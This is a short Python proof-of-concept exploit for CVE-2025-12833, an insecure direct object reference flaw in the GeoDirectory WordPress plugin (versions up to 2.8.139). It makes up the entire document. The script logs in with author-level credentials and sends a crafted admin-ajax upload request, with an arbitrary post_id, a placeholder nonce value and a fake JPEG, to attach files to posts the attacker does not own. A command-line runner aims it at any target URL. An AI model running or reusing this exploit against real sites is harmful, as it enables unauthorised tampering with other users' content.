CVE-2025-12833

import requests import sys from urllib.parse import urlencode # CVE-2025-12833 PoC - GeoDirectory IDOR Vulnerability # Target: WordPress site with GeoDirectory plugin <= 2.8.139 # Authentication required: Author-level user or higher def exploit_idor(target_url, username, password, target_post_id, attacker_post_id): """ Exploit IDOR vulnerability in GeoDirectory post_attachment_upload function Allows authenticated attackers to attach files to arbitrary posts """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url, 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Prepare malicious file upload request # The IDOR vulnerability allows attaching files to arbitrary posts # by manipulating the post_id parameter upload_url = f"{target_url}/wp-admin/admin-ajax.php" files = { 'async-upload': ('malicious.jpg', b'\xFF\xD8\xFF\xE0\x00\x10JFIF', 'image/jpeg') } # IDOR payload: target arbitrary post_id instead of attacker's own post data = { 'post_id': target_post_id, # IDOR: Can be any post ID 'action': 'post_attachment_upload', '_wpnonce': 'bypass', # Nonce validation may be flawed 'user_id': '1' } # Step 3: Send exploit request response = session.post(upload_url, data=data, files=files) if response.status_code == 200: print(f"[+] File attachment request sent to post ID: {target_post_id}") print("[+] Check if file was attached to target post") return True else: print(f"[-] Request failed with status: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 6: print("Usage: python cve-2025-12833.py <target_url> <username> <password> <target_post_id> <attacker_post_id>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] target_id = sys.argv[4] attacker_id = sys.argv[5] exploit_idor(target, user, pwd, target_id, attacker_id)

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